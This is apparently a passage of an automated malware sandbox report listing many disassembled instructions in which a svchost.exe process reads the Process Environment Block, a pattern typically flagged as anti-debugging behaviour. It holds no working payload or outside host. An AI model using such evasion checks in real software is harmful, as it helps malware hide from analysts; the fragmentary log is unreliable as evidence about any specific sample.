                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]2_2_03ADE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADA118 mov ecx, dword ptr fs:[00000030h]2_2_03ADA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]2_2_03ADA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]2_2_03ADA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]2_2_03ADA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF0115 mov eax, dword ptr fs:[00000030h]2_2_03AF0115
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04164 mov eax, dword ptr fs:[00000030h]2_2_03B04164
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04164 mov eax, dword ptr fs:[00000030h]2_2_03B04164
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]2_2_03AC4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]2_2_03AC4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC4144 mov ecx, dword ptr fs:[00000030h]2_2_03AC4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]2_2_03AC4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]2_2_03AC4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2C156 mov eax, dword ptr fs:[00000030h]2_2_03A2C156
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC8158 mov eax, dword ptr fs:[00000030h]2_2_03AC8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36154 mov eax, dword ptr fs:[00000030h]2_2_03A36154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36154 mov eax, dword ptr fs:[00000030h]2_2_03A36154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A280A0 mov eax, dword ptr fs:[00000030h]2_2_03A280A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC80A8 mov eax, dword ptr fs:[00000030h]2_2_03AC80A8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF60B8 mov eax, dword ptr fs:[00000030h]2_2_03AF60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF60B8 mov ecx, dword ptr fs:[00000030h]2_2_03AF60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3208A mov eax, dword ptr fs:[00000030h]2_2_03A3208A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2A0E3 mov ecx, dword ptr fs:[00000030h]2_2_03A2A0E3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A380E9 mov eax, dword ptr fs:[00000030h]2_2_03A380E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB60E0 mov eax, dword ptr fs:[00000030h]2_2_03AB60E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2C0F0 mov eax, dword ptr fs:[00000030h]2_2_03A2C0F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A720F0 mov ecx, dword ptr fs:[00000030h]2_2_03A720F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB20DE mov eax, dword ptr fs:[00000030h]2_2_03AB20DE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2A020 mov eax, dword ptr fs:[00000030h]2_2_03A2A020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2C020 mov eax, dword ptr fs:[00000030h]2_2_03A2C020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC6030 mov eax, dword ptr fs:[00000030h]2_2_03AC6030
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB4000 mov ecx, dword ptr fs:[00000030h]2_2_03AB4000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]2_2_03A4E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]2_2_03A4E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]2_2_03A4E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]2_2_03A4E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5C073 mov eax, dword ptr fs:[00000030h]2_2_03A5C073
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A32050 mov eax, dword ptr fs:[00000030h]2_2_03A32050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6050 mov eax, dword ptr fs:[00000030h]2_2_03AB6050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A307AF mov eax, dword ptr fs:[00000030h]2_2_03A307AF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE47A0 mov eax, dword ptr fs:[00000030h]2_2_03AE47A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD678E mov eax, dword ptr fs:[00000030h]2_2_03AD678E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]2_2_03A527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]2_2_03A527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]2_2_03A527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABE7E1 mov eax, dword ptr fs:[00000030h]2_2_03ABE7E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A347FB mov eax, dword ptr fs:[00000030h]2_2_03A347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A347FB mov eax, dword ptr fs:[00000030h]2_2_03A347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3C7C0 mov eax, dword ptr fs:[00000030h]2_2_03A3C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB07C3 mov eax, dword ptr fs:[00000030h]2_2_03AB07C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C720 mov eax, dword ptr fs:[00000030h]2_2_03A6C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C720 mov eax, dword ptr fs:[00000030h]2_2_03A6C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6273C mov eax, dword ptr fs:[00000030h]2_2_03A6273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6273C mov ecx, dword ptr fs:[00000030h]2_2_03A6273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6273C mov eax, dword ptr fs:[00000030h]2_2_03A6273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAC730 mov eax, dword ptr fs:[00000030h]2_2_03AAC730
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C700 mov eax, dword ptr fs:[00000030h]2_2_03A6C700
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30710 mov eax, dword ptr fs:[00000030h]2_2_03A30710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A60710 mov eax, dword ptr fs:[00000030h]2_2_03A60710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38770 mov eax, dword ptr fs:[00000030h]2_2_03A38770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6674D mov esi, dword ptr fs:[00000030h]2_2_03A6674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6674D mov eax, dword ptr fs:[00000030h]2_2_03A6674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6674D mov eax, dword ptr fs:[00000030h]2_2_03A6674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30750 mov eax, dword ptr fs:[00000030h]2_2_03A30750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABE75D mov eax, dword ptr fs:[00000030h]2_2_03ABE75D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72750 mov eax, dword ptr fs:[00000030h]2_2_03A72750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72750 mov eax, dword ptr fs:[00000030h]2_2_03A72750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB4755 mov eax, dword ptr fs:[00000030h]2_2_03AB4755
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C6A6 mov eax, dword ptr fs:[00000030h]2_2_03A6C6A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A666B0 mov eax, dword ptr fs:[00000030h]2_2_03A666B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A34690 mov eax, dword ptr fs:[00000030h]2_2_03A34690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A34690 mov eax, dword ptr fs:[00000030h]2_2_03A34690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]2_2_03AAE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]2_2_03AAE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]2_2_03AAE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]2_2_03AAE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB06F1 mov eax, dword ptr fs:[00000030h]2_2_03AB06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB06F1 mov eax, dword ptr fs:[00000030h]2_2_03AB06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A6C7 mov ebx, dword ptr fs:[00000030h]2_2_03A6A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A6C7 mov eax, dword ptr fs:[00000030h]2_2_03A6A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E627 mov eax, dword ptr fs:[00000030h]2_2_03A4E627
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A66620 mov eax, dword ptr fs:[00000030h]2_2_03A66620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A68620 mov eax, dword ptr fs:[00000030h]2_2_03A68620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3262C mov eax, dword ptr fs:[00000030h]2_2_03A3262C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE609 mov eax, dword ptr fs:[00000030h]2_2_03AAE609
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]2_2_03A4260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]2_2_03A4260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]2_2_03A4260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]2_2_03A4260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]2_2_03A4260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]2_2_03A4260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]2_2_03A4260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72619 mov eax, dword ptr fs:[00000030h]2_2_03A72619
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF866E mov eax, dword ptr fs:[00000030h]2_2_03AF866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF866E mov eax, dword ptr fs:[00000030h]2_2_03AF866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A660 mov eax, dword ptr fs:[00000030h]2_2_03A6A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A660 mov eax, dword ptr fs:[00000030h]2_2_03A6A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A62674 mov eax, dword ptr fs:[00000030h]2_2_03A62674
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4C640 mov eax, dword ptr fs:[00000030h]2_2_03A4C640
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB05A7 mov eax, dword ptr fs:[00000030h]2_2_03AB05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB05A7 mov eax, dword ptr fs:[00000030h]2_2_03AB05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB05A7 mov eax, dword ptr fs:[00000030h]2_2_03AB05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A545B1 mov eax, dword ptr fs:[00000030h]2_2_03A545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A545B1 mov eax, dword ptr fs:[00000030h]2_2_03A545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A32582 mov eax, dword ptr fs:[00000030h]2_2_03A32582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A32582 mov ecx, dword ptr fs:[00000030h]2_2_03A32582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A64588 mov eax, dword ptr fs:[00000030h]2_2_03A64588
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E59C mov eax, dword ptr fs:[00000030h]2_2_03A6E59C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A325E0 mov eax, dword ptr fs:[00000030h]2_2_03A325E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C5ED mov eax, dword ptr fs:[00000030h]2_2_03A6C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C5ED mov eax, dword ptr fs:[00000030h]2_2_03A6C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E5CF mov eax, dword ptr fs:[00000030h]2_2_03A6E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E5CF mov eax, dword ptr fs:[00000030h]2_2_03A6E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A365D0 mov eax, dword ptr fs:[00000030h]2_2_03A365D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A5D0 mov eax, dword ptr fs:[00000030h]2_2_03A6A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A5D0 mov eax, dword ptr fs:[00000030h]2_2_03A6A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]2_2_03A40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]2_2_03A40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]2_2_03A40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]2_2_03A40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]2_2_03A40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]2_2_03A40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]2_2_03A5E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]2_2_03A5E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]2_2_03A5E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]2_2_03A5E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]2_2_03A5E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC6500 mov eax, dword ptr fs:[00000030h]2_2_03AC6500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6656A mov eax, dword ptr fs:[00000030h]2_2_03A6656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6656A mov eax, dword ptr fs:[00000030h]2_2_03A6656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6656A mov eax, dword ptr fs:[00000030h]2_2_03A6656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38550 mov eax, dword ptr fs:[00000030h]2_2_03A38550
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38550 mov eax, dword ptr fs:[00000030h]2_2_03A38550
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A364AB mov eax, dword ptr fs:[00000030h]2_2_03A364AB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A644B0 mov ecx, dword ptr fs:[00000030h]2_2_03A644B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABA4B0 mov eax, dword ptr fs:[00000030h]2_2_03ABA4B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEA49A mov eax, dword ptr fs:[00000030h]2_2_03AEA49A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A304E5 mov ecx, dword ptr fs:[00000030h]2_2_03A304E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2E420 mov eax, dword ptr fs:[00000030h]2_2_03A2E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2E420 mov eax, dword ptr fs:[00000030h]2_2_03A2E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2E420 mov eax, dword ptr fs:[00000030h]2_2_03A2E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2C427 mov eax, dword ptr fs:[00000030h]2_2_03A2C427
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A430 mov eax, dword ptr fs:[00000030h]2_2_03A6A430
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A68402 mov eax, dword ptr fs:[00000030h]2_2_03A68402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A68402 mov eax, dword ptr fs:[00000030h]2_2_03A68402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A68402 mov eax, dword ptr fs:[00000030h]2_2_03A68402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABC460 mov ecx, dword ptr fs:[00000030h]2_2_03ABC460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5A470 mov eax, dword ptr fs:[00000030h]2_2_03A5A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5A470 mov eax, dword ptr fs:[00000030h]2_2_03A5A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5A470 mov eax, dword ptr fs:[00000030h]2_2_03A5A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEA456 mov eax, dword ptr fs:[00000030h]2_2_03AEA456
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2645D mov eax, dword ptr fs:[00000030h]2_2_03A2645D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5245A mov eax, dword ptr fs:[00000030h]2_2_03A5245A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40BBE mov eax, dword ptr fs:[00000030h]2_2_03A40BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40BBE mov eax, dword ptr fs:[00000030h]2_2_03A40BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE4BB0 mov eax, dword ptr fs:[00000030h]2_2_03AE4BB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE4BB0 mov eax, dword ptr fs:[00000030h]2_2_03AE4BB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38BF0 mov eax, dword ptr fs:[00000030h]2_2_03A38BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38BF0 mov eax, dword ptr fs:[00000030h]2_2_03A38BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38BF0 mov eax, dword ptr fs:[00000030h]2_2_03A38BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5EBFC mov eax, dword ptr fs:[00000030h]2_2_03A5EBFC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABCBF0 mov eax, dword ptr fs:[00000030h]2_2_03ABCBF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A50BCB mov eax, dword ptr fs:[00000030h]2_2_03A50BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A50BCB mov eax, dword ptr fs:[00000030h]2_2_03A50BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A50BCB mov eax, dword ptr fs:[00000030h]2_2_03A50BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30BCD mov eax, dword ptr fs:[00000030h]2_2_03A30BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30BCD mov eax, dword ptr fs:[00000030h]2_2_03A30BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30BCD mov eax, dword ptr fs:[00000030h]2_2_03A30BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADEBD0 mov eax, dword ptr fs:[00000030h]2_2_03ADEBD0
